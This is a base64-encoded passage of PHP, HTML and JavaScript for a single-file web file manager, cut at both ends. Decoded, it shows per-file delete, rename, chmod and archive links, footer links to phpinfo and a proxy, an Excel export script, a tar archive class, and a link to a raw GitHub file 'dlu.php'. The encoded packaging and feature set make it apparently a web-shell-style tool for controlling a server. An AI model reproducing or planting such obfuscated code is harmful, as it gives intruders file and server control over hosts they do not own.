leHQgPSBlbmQoJGVfYXJyKTtcclxuICAgICAgICAkbG9hZGxpbmsgPSAgZm1fbGluaygnZG93bmxvYWQnLCRmaWxlbmFtZSxfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRmaWxlKTtcclxuXHRcdCRhcmxpbmsgPSBpbl9hcnJheSgkZXh0LGFycmF5KCd6aXAnLCdneicsJ3RhcicpKSBcclxuXHRcdD8gJydcclxuXHRcdDogKChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCdnemZpbGUnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4gJGZpbGUpKTtcclxuICAgICAgICAkc3R5bGUgPSAncm93MSc7XHJcblx0XHQkYWxlcnQgPSAnb25DbGljaz1cImlmKGNvbmZpcm0oXFwnJy4gX18oJ0ZpbGUgc2VsZWN0ZWQnKS4nOiBcXG4nLiAkZmlsZS4gJy4gXFxuJy5fXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGZpbGU/JykgLiAnXFwnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFxcJycgLiAkdXJsX2luYyAuICcmZGVsZXRlPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1xcJ1wiJztcclxuICAgIH1cclxuICAgICRkZWxldGVsaW5rID0gZm1fcm9vdCgkZmlsZSkgPyAnJyA6ICc8YSBocmVmPVwiI1wiIHRpdGxlPVwiJyAuIF9fKCdEZWxldGUnKSAuICcgJy4gJGZpbGUgLiAnXCIgJyAuICRhbGVydCAuICc+JyAuIF9fKCdEZWxldGUnKSAuICc8XC9hPic7XHJcbiAgICAkcmVuYW1lbGluayA9IGZtX3Jvb3QoJGZpbGUpID8gJycgOiAnPGEgaHJlZj1cIicgLiAkdXJsX2luYyAuICcmcmVuYW1lPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggLiAnXCIgdGl0bGU9XCInIC4gX18oJ1JlbmFtZScpIC4nICcuICRmaWxlIC4gJ1wiPicgLiBfXygnUmVuYW1lJykgLiAnPFwvYT4nO1xyXG4gICAgJHJpZ2h0c3RleHQgPSAoJGZpbGU9PScuJyB8fCAkZmlsZT09Jy4uJykgPyAnJyA6ICc8YSBocmVmPVwiJyAuICR1cmxfaW5jIC4gJyZyaWdodHM9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAuICdcIiB0aXRsZT1cIicgLiBfXygnUmlnaHRzJykgLicgJy4gJGZpbGUgLiAnXCI+JyAuIEBmbV9yaWdodHNfc3RyaW5nKCRmaWxlbmFtZSkgLiAnPFwvYT4nO1xyXG4/PlxyXG48dHIgY2xhc3M9XCI8Pz0kc3R5bGU/PlwiPiBcclxuICAgIDx0ZD48Pz0kbGluaz8+PFwvdGQ+XHJcbiAgICA8dGQ+PD89JGZpbGVkYXRhWzddPz48XC90ZD5cclxuICAgIDx0ZCBzdHlsZT1cIndoaXRlLXNwYWNlOm5vd3JhcFwiPjw/PWdtZGF0ZShcIlktbS1kIEg6aTpzXCIsJGZpbGVkYXRhWzldKT8+PFwvdGQ+XHJcbiAgICA8dGQ+PD89JHJpZ2h0c3RleHQ/PjxcL3RkPlxyXG4gICAgPHRkPjw/PSRkZWxldGVsaW5rPz48XC90ZD5cclxuICAgIDx0ZD48Pz0kcmVuYW1lbGluaz8+PFwvdGQ+XHJcbiAgICA8dGQ+PD89JGxvYWRsaW5rPz48XC90ZD5cclxuICAgIDx0ZD48Pz0kYXJsaW5rPz48XC90ZD5cclxuPFwvdHI+XHJcbjw/cGhwXHJcbiAgICB9XHJcbn1cclxuPz5cclxuPFwvdGJvZHk+XHJcbjxcL3RhYmxlPlxyXG48ZGl2IGNsYXNzPVwicm93M1wiPjw/cGhwXHJcblx0JG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsgXHJcblx0JHRvdGFsdGltZSA9ICRtdGltZVswXSArICRtdGltZVsxXSAtICRzdGFydHRpbWU7IFxyXG5cdGVjaG8gZm1faG9tZSgpLicgfCB2ZXIuICcuJGZtX3ZlcnNpb24uJyB8IDxhIGhyZWY9XCJodHRwczpcL1wvcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbVwvYmF5dTEyMy1jcHVcL2RsdS5waHBcL3JlZnNcL2hlYWRzXC9tYWluXC9kbHUucGhwXCI+R2l0aHViPFwvYT4gIHwgPGEgaHJlZj1cIicuZm1fc2l0ZV91cmwoKS4nXCI+LjxcL2E+JztcclxuXHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwX3ZlciddKSkgZWNobyAnIHwgUEhQICcucGhwdmVyc2lvbigpO1xyXG5cdGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBfaW5pJ10pKSBlY2hvICcgfCAnLnBocF9pbmlfbG9hZGVkX2ZpbGUoKTtcclxuXHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfZ3QnXSkpIGVjaG8gJyB8ICcuX18oJ0dlbmVyYXRpb24gdGltZScpLic6ICcucm91bmQoJHRvdGFsdGltZSwyKTtcclxuXHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9wcm94eSddKSkgZWNobyAnIHwgPGEgaHJlZj1cIj9wcm94eT10cnVlXCI+cHJveHk8XC9hPic7XHJcblx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocGluZm8nXSkpIGVjaG8gJyB8IDxhIGhyZWY9XCI/cGhwaW5mbz10cnVlXCI+cGhwaW5mbzxcL2E+JztcclxuXHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfeGxzJ10pJiYhZW1wdHkoJGxpbmspKSBlY2hvICcgfCA8YSBocmVmPVwiamF2YXNjcmlwdDogdm9pZCgwKVwiIG9uY2xpY2s9XCJ2YXIgb2JqID0gbmV3IHRhYmxlMkV4Y2VsKCk7IG9iai5DcmVhdGVFeGNlbFNoZWV0KFxcJ2ZtX3RhYmxlXFwnLFxcJ2V4cG9ydFxcJyk7XCIgdGl0bGU9XCInLl9fKCdEb3dubG9hZCcpLicgeGxzXCI+eGxzPFwvYT4nO1xyXG5cdGlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fc2V0dGluZ3MnXSkpIGVjaG8gJyB8IDxhIGhyZWY9XCI/Zm1fc2V0dGluZ3M9dHJ1ZVwiPicuX18oJ1NldHRpbmdzJykuJzxcL2E+JztcclxuXHQ/PlxyXG48XC9kaXY+XHJcbjxzY3JpcHQgdHlwZT1cInRleHRcL2phdmFzY3JpcHRcIj5cclxuZnVuY3Rpb24gZG93bmxvYWRfeGxzKGZpbGVuYW1lLCB0ZXh0KSB7XHJcblx0dmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7XHJcblx0ZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2hyZWYnLCAnZGF0YTphcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsO2Jhc2U2NCwnICsgdGV4dCk7XHJcblx0ZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2Rvd25sb2FkJywgZmlsZW5hbWUpO1xyXG5cdGVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJztcclxuXHRkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGVsZW1lbnQpO1xyXG5cdGVsZW1lbnQuY2xpY2soKTtcclxuXHRkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGVsZW1lbnQpO1xyXG59XHJcblxyXG5mdW5jdGlvbiBiYXNlNjRfZW5jb2RlKG0pIHtcclxuXHRmb3IgKHZhciBrID0gXCJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OStcL1wiLnNwbGl0KFwiXCIpLCBjLCBkLCBoLCBlLCBhLCBnID0gXCJcIiwgYiA9IDAsIGYsIGwgPSAwOyBsIDwgbS5sZW5ndGg7ICsrbCkge1xyXG5cdFx0YyA9IG0uY2hhckNvZGVBdChsKTtcclxuXHRcdGlmICgxMjggPiBjKSBkID0gMTtcclxuXHRcdGVsc2VcclxuXHRcdFx0Zm9yIChkID0gMjsgYyA+PSAyIDw8IDUgKiBkOykgKytkO1xyXG5cdFx0Zm9yIChoID0gMDsgaCA8IGQ7ICsraCkgMSA9PSBkID8gZSA9IGMgOiAoZSA9IGggPyAxMjggOiAxOTIsIGEgPSBkIC0gMiAtIDYgKiBoLCAwIDw9IGEgJiYgKGUgKz0gKDYgPD0gYSA/IDEgOiAwKSArICg1IDw9IGEgPyAyIDogMCkgKyAoNCA8PSBhID8gNCA6IDApICsgKDMgPD0gYSA/IDggOiAwKSArICgyIDw9IGEgPyAxNiA6IDApICsgKDEgPD0gYSA/IDMyIDogMCksIGEgLT0gNSksIDAgPiBhICYmICh1ID0gNiAqIChkIC0gMSAtIGgpLCBlICs9IGMgPj4gdSwgYyAtPSBjID4+IHUgPDwgdSkpLCBmID0gYiA/IGYgPDwgNiAtIGIgOiAwLCBiICs9IDIsIGYgKz0gZSA+PiBiLCBnICs9IGtbZl0sIGYgPSBlICUgKDEgPDwgYiksIDYgPT0gYiAmJiAoYiA9IDAsIGcgKz0ga1tmXSlcclxuXHR9XHJcblx0YiAmJiAoZyArPSBrW2YgPDwgNiAtIGJdKTtcclxuXHRyZXR1cm4gZ1xyXG59XHJcblxyXG5cclxudmFyIHRhYmxlVG9FeGNlbERhdGEgPSAoZnVuY3Rpb24oKSB7XHJcbiAgICB2YXIgdXJpID0gJ2RhdGE6YXBwbGljYXRpb25cL3ZuZC5tcy1leGNlbDtiYXNlNjQsJyxcclxuICAgIHRlbXBsYXRlID0gJzxodG1sIHhtbG5zOm89XCJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpvZmZpY2VcIiB4bWxuczp4PVwidXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6ZXhjZWxcIiB4bWxucz1cImh0dHA6XC9cL3d3dy53My5vcmdcL1RSXC9SRUMtaHRtbDQwXCI+PGhlYWQ+PCEtLVtpZiBndGUgbXNvIDldPjx4bWw+PHg6RXhjZWxXb3JrYm9vaz48eDpFeGNlbFdvcmtzaGVldHM+PHg6RXhjZWxXb3Jrc2hlZXQ+PHg6TmFtZT57d29ya3NoZWV0fTxcL3g6TmFtZT48eDpXb3Jrc2hlZXRPcHRpb25zPjx4OkRpc3BsYXlHcmlkbGluZXM+PFwveDpEaXNwbGF5R3JpZGxpbmVzPjxcL3g6V29ya3NoZWV0T3B0aW9ucz48XC94OkV4Y2VsV29ya3NoZWV0PjxcL3g6RXhjZWxXb3Jrc2hlZXRzPjxcL3g6RXhjZWxXb3JrYm9vaz48XC94bWw+PCFbZW5kaWZdLS0+PG1ldGEgaHR0cC1lcXVpdj1cImNvbnRlbnQtdHlwZVwiIGNvbnRlbnQ9XCJ0ZXh0XC9wbGFpbjsgY2hhcnNldD1VVEYtOFwiXC8+PFwvaGVhZD48Ym9keT48dGFibGU+e3RhYmxlfTxcL3RhYmxlPjxcL2JvZHk+PFwvaHRtbD4nLFxyXG4gICAgZm9ybWF0ID0gZnVuY3Rpb24ocywgYykge1xyXG4gICAgICAgICAgICByZXR1cm4gcy5yZXBsYWNlKFwveyhcXHcrKX1cL2csIGZ1bmN0aW9uKG0sIHApIHtcclxuICAgICAgICAgICAgICAgIHJldHVybiBjW3BdO1xyXG4gICAgICAgICAgICB9KVxyXG4gICAgICAgIH1cclxuICAgIHJldHVybiBmdW5jdGlvbih0YWJsZSwgbmFtZSkge1xyXG4gICAgICAgIGlmICghdGFibGUubm9kZVR5cGUpIHRhYmxlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQodGFibGUpXHJcbiAgICAgICAgdmFyIGN0eCA9IHtcclxuICAgICAgICAgICAgd29ya3NoZWV0OiBuYW1lIHx8ICdXb3Jrc2hlZXQnLFxyXG4gICAgICAgICAgICB0YWJsZTogdGFibGUuaW5uZXJIVE1MLnJlcGxhY2UoXC88c3BhbiguKj8pXFxcL3NwYW4+IFwvZyxcIlwiKS5yZXBsYWNlKFwvPGFcXGJbXj5dKj4oLio/KTxcXFwvYT5cL2csXCIkMVwiKVxyXG4gICAgICAgIH1cclxuXHRcdHQgPSBuZXcgRGF0ZSgpO1xyXG5cdFx0ZmlsZW5hbWUgPSAnZm1fJyArIHQudG9JU09TdHJpbmcoKSArICcueGxzJ1xyXG5cdFx0ZG93bmxvYWRfeGxzKGZpbGVuYW1lLCBiYXNlNjRfZW5jb2RlKGZvcm1hdCh0ZW1wbGF0ZSwgY3R4KSkpXHJcbiAgICB9XHJcbn0pKCk7XHJcblxyXG52YXIgdGFibGUyRXhjZWwgPSBmdW5jdGlvbiAoKSB7XHJcblxyXG4gICAgdmFyIHVhID0gd2luZG93Lm5hdmlnYXRvci51c2VyQWdlbnQ7XHJcbiAgICB2YXIgbXNpZSA9IHVhLmluZGV4T2YoXCJNU0lFIFwiKTtcclxuXHJcblx0dGhpcy5DcmVhdGVFeGNlbFNoZWV0ID0gXHJcblx0XHRmdW5jdGlvbihlbCwgbmFtZSl7XHJcblx0XHRcdGlmIChtc2llID4gMCB8fCAhIW5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goXC9UcmlkZW50LipydlxcOjExXFwuXC8pKSB7XC9cLyBJZiBJbnRlcm5ldCBFeHBsb3JlclxyXG5cclxuXHRcdFx0XHR2YXIgeCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGVsKS5yb3dzO1xyXG5cclxuXHRcdFx0XHR2YXIgeGxzID0gbmV3IEFjdGl2ZVhPYmplY3QoXCJFeGNlbC5BcHBsaWNhdGlvblwiKTtcclxuXHJcblx0XHRcdFx0eGxzLnZpc2libGUgPSB0cnVlO1xyXG5cdFx0XHRcdHhscy5Xb3JrYm9va3MuQWRkXHJcblx0XHRcdFx0Zm9yIChpID0gMDsgaSA8IHgubGVuZ3RoOyBpKyspIHtcclxuXHRcdFx0XHRcdHZhciB5ID0geFtpXS5jZWxscztcclxuXHJcblx0XHRcdFx0XHRmb3IgKGogPSAwOyBqIDwgeS5sZW5ndGg7IGorKykge1xyXG5cdFx0XHRcdFx0XHR4bHMuQ2VsbHMoaSArIDEsIGogKyAxKS5WYWx1ZSA9IHlbal0uaW5uZXJUZXh0O1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHR4bHMuVmlzaWJsZSA9IHRydWU7XHJcblx0XHRcdFx0eGxzLlVzZXJDb250cm9sID0gdHJ1ZTtcclxuXHRcdFx0XHRyZXR1cm4geGxzO1xyXG5cdFx0XHR9IGVsc2Uge1xyXG5cdFx0XHRcdHRhYmxlVG9FeGNlbERhdGEoZWwsIG5hbWUpO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcbn1cclxuPFwvc2NyaXB0PlxyXG48XC9ib2R5PlxyXG48XC9odG1sPlxyXG5cclxuPD9waHBcclxuXC9cL1BvcnRlZCBmcm9tIFJlbG9hZENNUyBwcm9qZWN0IGh0dHA6XC9cL3JlbG9hZGNtcy5jb21cclxuY2xhc3MgYXJjaGl2ZVRhciB7XHJcblx0dmFyICRhcmNoaXZlX25hbWUgPSAnJztcclxuXHR2YXIgJHRtcF9maWxlID0gMDtcclxuXHR2YXIgJGZpbGVfcG9zID0gMDtcclxuXHR2YXIgJGlzR3ppcHBlZCA9IHRydWU7XHJcblx0dmFyICRlcnJvcnMgPSBhcnJheSgpO1xyXG5cdHZhciAkZmlsZXMgPSBhcnJheSgpO1xyXG5cdFxyXG5cdGZ1bmN0aW9uIF9fY29uc3RydWN0KCl7XHJcblx0XHRpZiAoIWlzc2V0KCR0aGlzLT5lcnJvcnMpKSAkdGhpcy0+ZXJyb3JzID0gYXJyYXkoKTtcclxuXHR9XHJcblx0XHJcblx0ZnVuY3Rpb24gY3JlYXRlQXJjaGl2ZSgkZmlsZV9saXN0KXtcclxuXHRcdCRyZXN1bHQgPSBmYWxzZTtcclxuXHRcdGlmIChmaWxlX2V4aXN0cygkdGhpcy0+YXJjaGl2ZV9uYW1lKSAmJiBpc19maWxlKCR0aGlzLT5hcmNoaXZlX25hbWUpKSBcdCRuZXdBcmNoaXZlID0gZmFsc2U7XHJcblx0XHRlbHNlICRuZXdBcmNoaXZlID0gdHJ1ZTtcclxuXHRcdGlmICgkbmV3QXJjaGl2ZSl7XHJcblx0XHRcdGlmICghJHRoaXMtPm9wZW5Xcml0ZSgpKSByZXR1cm4gZmFsc2U7XHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRpZiAoZmlsZXNpemUoJHRoaXMtPmFyY2hpdmVfbmFtZSkgPT0gMClcdHJldHVybiAkdGhpcy0+b3BlbldyaXRlKCk7XHJcblx0XHRcdGlmICgkdGhpcy0+aXNHemlwcGVkKSB7XHJcblx0XHRcdFx0JHRoaXMtPmNsb3NlVG1wRmlsZSgpO1xyXG5cdFx0XHRcdGlmICghcmVuYW1lKCR0aGlzLT5hcmNoaXZlX25hbWUsICR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnKSl7XHJcblx0XHRcdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHJlbmFtZScpLicgJy4kdGhpcy0+YXJjaGl2ZV9uYW1lLl9fKCcgdG8gJykuJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCc7XHJcblx0XHRcdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdCR0bXBBcmNoaXZlID0gZ3pvcGVuKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnLCAncmInKTtcclxuXHRcdFx0XHRpZiAoISR0bXBBcmNoaXZlKXtcclxuXHRcdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9ICR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAgJy5fXygnaXMgbm90IHJlYWRhYmxlJyk7XHJcblx0XHRcdFx0XHRyZW5hbWUoJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCcsICR0aGlzLT5hcmNoaXZlX25hbWUpO1xyXG5cdFx0XHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHRpZiAoISR0aGlzLT5vcGVuV3JpdGUoKSl7XHJcblx0XHRcdFx0XHRyZW5hbWUoJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCcsICR0aGlzLT5hcmNoaXZlX25hbWUpO1xyXG5cdFx0XHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHQkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpO1xyXG5cdFx0XHRcdGlmICghZ3plb2YoJHRtcEFyY2hpdmUpKXtcclxuXHRcdFx0XHRcdGRvIHtcclxuXHRcdFx0XHRcdFx0JGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7XHJcblx0XHRcdFx0XHRcdCR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTtcclxuXHRcdFx0XHRcdFx0JGJ1ZmZlciA9IGd6cmVhZCgkdG1wQXJjaGl2ZSwgNTEyKTtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdHdoaWxlICghZ3plb2YoJHRtcEFyY2hpdmUpKTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0Z3pjbG9zZSgkdG1wQXJjaGl2ZSk7XHJcblx0XHRcdFx0dW5saW5rKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnKTtcclxuXHRcdFx0fSBlbHNlIHtcclxuXHRcdFx0XHQkdGhpcy0+dG1wX2ZpbGUgPSBmb3BlbigkdGhpcy0+YXJjaGl2ZV9uYW1lLCAncitiJyk7XHJcblx0XHRcdFx0aWYgKCEkdGhpcy0+dG1wX2ZpbGUpXHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHRcdGlmIChpc3NldCgkZmlsZV9saXN0KSAmJiBpc19hcnJheSgkZmlsZV9saXN0KSkge1xyXG5cdFx0aWYgKGNvdW50KCRmaWxlX2xpc3QpPjApXHJcblx0XHRcdCRyZXN1bHQgPSAkdGhpcy0+cGFja0ZpbGVBcnJheSgkZmlsZV9saXN0KTtcclxuXHRcdH0gZWxzZSAkdGhpcy0+ZXJyb3JzW10gPSBfXygnTm8gZmlsZScpLl9fKCcgdG8gJykuX18oJ0FyY2hpdmUnKTtcclxuXHRcdGlmICgoJHJlc3VsdCkmJihpc19yZXNvdXJjZSgkdGhpcy0+dG1wX2ZpbGUpKSl7XHJcblx0XHRcdCRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICcnKTtcclxuXHRcdFx0JHRoaXMtPndyaXRlQmxvY2soJGJpbmFyeURhdGEpO1xyXG5cdFx0fVxyXG5cdFx0JHRoaXMtPmNsb3NlVG1wRmlsZSgpO1xyXG5cdFx0aWYgKCRuZXdBcmNoaXZlICYmICEkcmVzdWx0KXtcclxuXHRcdCR0aGlzLT5jbG9zZVRtcEZpbGUoKTtcclxuXHRcdHVubGluaygkdGhpcy0+YXJjaGl2ZV9uYW1lKTtcclxuXHRcdH1cclxuXHRcdHJldHVybiAkcmVzdWx0O1xyXG5cdH1cclxuXHJcblx0ZnVuY3Rpb24gcmVzdG9yZUFyY2hpdmUoJHBhdGgpe1xyXG5cdFx0JGZpbGVOYW1lID0gJHRoaXMtPmFyY2hpdmVfbmFtZTtcclxuXHRcdGlmICghJHRoaXMtPmlzR3ppcHBlZCl7XHJcblx0XHRcdGlmIChmaWxlX2V4aXN0cygkZmlsZU5hbWUpKXtcclxuXHRcdFx0XHRpZiAoJGZwID0gZm9wZW4oJGZpbGVOYW1lLCAncmInKSl7XHJcblx0XHRcdFx0XHQkZGF0YSA9IGZyZWFkKCRmcCwgMik7XHJcblx0XHRcdFx0XHRmY2xvc2UoJGZwKTtcclxuXHRcdFx0XHRcdGlmICgkZGF0YSA9PSAnXFwzN1xcMjEzJyl7XHJcblx0XHRcdFx0XHRcdCR0aGlzLT5pc0d6aXBwZWQgPSB0cnVlO1xyXG5cdFx0XHRcdFx0fVxyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0XHRlbHNlaWYgKChzdWJzdHIoJGZpbGVOYW1lLCAtMikgPT0gJ2d6JykgT1IgKHN1YnN0cigkZmlsZU5hbWUsIC0zKSA9PSAndGd6JykpICR0aGlzLT5pc0d6aXBwZWQgPSB0cnVlO1xyXG5cdFx0fSBcclxuXHRcdCRyZXN1bHQgPSB0cnVlO1xyXG5cdFx0aWYgKCR0aGlzLT5pc0d6aXBwZWQpICR0aGlzLT50bXBfZmlsZSA9IGd6b3BlbigkZmlsZU5hbWUsICdyYicpO1xyXG5cdFx0ZWxzZSAkdGhpcy0+dG1wX2ZpbGUgPSBmb3BlbigkZmlsZU5hbWUsICdyYicpO1xyXG5cdFx0aWYgKCEkdGhpcy0+dG1wX2ZpbGUpe1xyXG5cdFx0XHQkdGhpcy0+ZXJyb3JzW10gPSAkZmlsZU5hbWUuJyAnLl9fKCdpcyBub3QgcmVhZGFibGUnKTtcclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cdFx0JHJlc3VsdCA9ICR0aGlzLT51bnBhY2tGaWxlQXJyYXkoJHBhdGgpO1xyXG5cdFx0XHQkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7XHJcblx0XHRyZXR1cm4gJHJlc3VsdDtcclxuXHR9XHJcblxyXG5cdGZ1bmN0aW9uIHNob3dFcnJvcnNcdCgkbWVzc2FnZSA9ICcnKSB7XHJcblx0XHQkRXJyb3JzID0gJHRoaXMtPmVycm9ycztcclxuXHRcdGlmKGNvdW50KCRFcnJvcnMpPjApIHtcclxuXHRcdGlmICghZW1wdHkoJG1lc3NhZ2UpKSAkbWVzc2FnZSA9ICcgKCcuJG1lc3NhZ2UuJyknO1xyXG5cdFx0XHQkbWVzc2FnZSA9IF9fKCdFcnJvciBvY2N1cnJlZCcpLiRtZXNzYWdlLic6IDxiclwvPic7XHJcblx0XHRcdGZvcmVhY2ggKCRFcnJvcnMgYXMgJHZhbHVlKVxyXG5cdFx0XHRcdCRtZXNzYWdlIC49ICR2YWx1ZS4nPGJyXC8+JztcclxuXHRcdFx0cmV0dXJuICRtZXNzYWdlO1x0XHJcblx0XHR9IGVsc2UgcmV0dXJuICcnO1xyXG5cdFx0XHJcblx0fVxyXG5cdFxyXG5cdGZ1bmN0aW9uIHBhY2tGaWxlQXJyYXkoJGZpbGVfYXJyYXkpe1xyXG5cdFx0JHJlc3VsdCA9IHRydWU7XHJcblx0XHRpZiAoISR0aGlzLT50bXBfZmlsZSl7XHJcblx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdJbnZhbGlkIGZpbGUgZGVzY3JpcHRvcicpO1xyXG5cdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHR9XHJcblx0XHRpZiAoIWlzX2FycmF5KCRmaWxlX2FycmF5KSB8fCBjb3VudCgkZmlsZV9hcnJheSk8PTApXHJcbiAgICAgICAgICByZXR1cm4gdHJ1ZTtcclxuXHRcdGZvciAoJGkgPSAwOyAkaTxjb3VudCgkZmlsZV9hcnJheSk7ICRpKyspe1xyXG5cdFx0XHQkZmlsZW5hbWUgPSAkZmlsZV9hcnJheVskaV07XHJcblx0XHRcdGlmICgkZmlsZW5hbWUgPT0gJHRoaXMtPmFyY2hpdmVfbmFtZSlcclxuXHRcdFx0XHRjb250aW51ZTtcclxuXHRcdFx0aWYgKHN0cmxlbigkZmlsZW5hbWUpPD0wKVxyXG5cdFx0XHRcdGNvbnRpbnVlO1xyXG5cdFx0XHRpZiAoIWZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpe1xyXG5cdFx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdObyBmaWxlJykuJyAnLiRmaWxlbmFtZTtcclxuXHRcdFx0XHRjb250aW51ZTtcclxuXHRcdFx0fVxyXG5cdFx0XHRpZiAoISR0aGlzLT50bXBfZmlsZSl7XHJcblx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdJbnZhbGlkIGZpbGUgZGVzY3JpcHRvcicpO1xyXG5cdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdH1cclxuXHRcdGlmIChzdHJsZW4oJGZpbGVuYW1lKTw9MCl7XHJcblx0XHRcdCR0aGlzLT5lcnJvcnNbXSA9IF9fKCdGaWxlbmFtZScpLicgJy5fXygnaXMgaW5jb3JyZWN0Jyk7O1xyXG5cdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHR9XHJcblx0XHQkZmlsZW5hbWUgPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRmaWxlbmFtZSk7XHJcblx0XHQka2VlcF9maWxlbmFtZSA9ICR0aGlzLT5tYWtlR29vZFBhdGgoJGZpbGVuYW1lKTtcclxuXHRcdGlmIChpc19maWxlKCRmaWxlbmFtZSkpe1xyXG5cdFx0XHRpZiAoKCRmaWxlID0gZm9wZW4oJGZpbGVuYW1lLCAncmInKSkgPT0gMCl7XHJcblx0XHRcdFx0JHRoaXMtPmVycm9yc1tdID0gX18oJ01vZGUgJykuX18oJ2lzIGluY29ycmVjdCcpO1xyXG5cdFx0XHR9XHJcblx0XHRcdFx0aWYoKCR0aGlzLT5maWxlX3BvcyA9PSAwKSl7XHJcblx0XHRcdFx0XHRpZighJHRoaXMtPndyaXRlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpKVxyXG5cdFx0XHRcdFx0XHRyZXR1cm4gZmFsc2U7XHJcblx0XHRcdFx0fVxyXG5cdFx0XHRcdHdoaWxlICgoJGJ1ZmZlciA9IGZyZWFkKCRmaWxlLCA1MTIpKSAhPSAnJyl7XHJcblx0XHRcdFx0XHQkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAkYnVmZmVyKTtcclxuXHRcdFx0XHRcdCR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdGZjbG9zZSgkZmlsZSk7XHJcblx0XHR9XHRlbHNlICR0aGlzLT53cml0ZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKTtcclxuXHRcdFx0aWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7XHJcblx0XHRcdFx0aWYgKCEoJGhhbmRsZSA9IG9wZW5kaXIoJGZpbGVuYW1lKSkpe1xyXG5cdFx0XHRcdFx0JHRoaXMtPmVycm9yc1tdID0gX18oJ0Vycm9yJykuJzogJy5fXygnRGlyZWN0b3J5ICcpLiRmaWxlbmFtZS5fXygnaXMgbm90IHJlYWRhYmxlJyk7XHJcblx0XHRcdFx0XHRjb250aW51ZTtcclxuXHRcdFx0XHR9XHJcblx0XHRcdFx0d2hpbGUgKGZhbHNlICE9PSAoJGRpciA9IHJlYWRkaXIoJGhhbmRsZSkpKXtcclxuXHRcdFx0XHRcdGlmICgkZGlyIT0nLicgJiYgJGRpciE9Jy4uJyl7XHJcblx0XHRcdFx0XHRcdCRmaWxlX2FycmF5X3RtcCA9IGFycmF5KCk7XHJcblx0XHRcdFx0XHRcdGlm